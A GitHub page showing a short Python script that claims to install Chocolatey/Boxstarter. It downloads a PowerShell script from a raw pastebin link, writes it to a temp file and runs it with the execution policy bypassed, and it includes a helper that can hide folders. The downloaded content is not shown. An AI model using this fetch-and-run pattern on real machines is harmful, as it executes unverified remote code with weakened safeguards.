-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinstalador.py
39 lines (25 loc) · 1 KB
/
instalador.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Script para instalação do Chocolatey/Boxstarter
import os
import requests
def executar_comando(comando):
import subprocess
print("Executando o comando: '{}'".format(comando), flush=True)
subprocess.call(comando, shell=True)
def criar_tempfile(sufixo, url, caminho=None, oculto=False):
import tempfile
if caminho is not None:
if not os.path.exists(caminho):
os.mkdir(caminho)
if oculto:
os.popen('attrib +h ' + str(caminho))
temp_file, temp_path = tempfile.mkstemp(suffix=sufixo, dir=caminho, text=True)
response = requests.get(url)
with open(temp_path, mode='w', encoding="utf-8") as f:
f.write(str(response.text))
os.close(temp_file)
return temp_path
if __name__ == "__main__":
os.makedirs('C:\\layout', exist_ok=True)
tmp_file = criar_tempfile('.ps1', 'https://pastebin.com/raw/AGs7x79Q')
executar_comando(f'@powershell -NoProfile -ExecutionPolicy bypass -File {tmp_file}')
os.remove(tmp_file)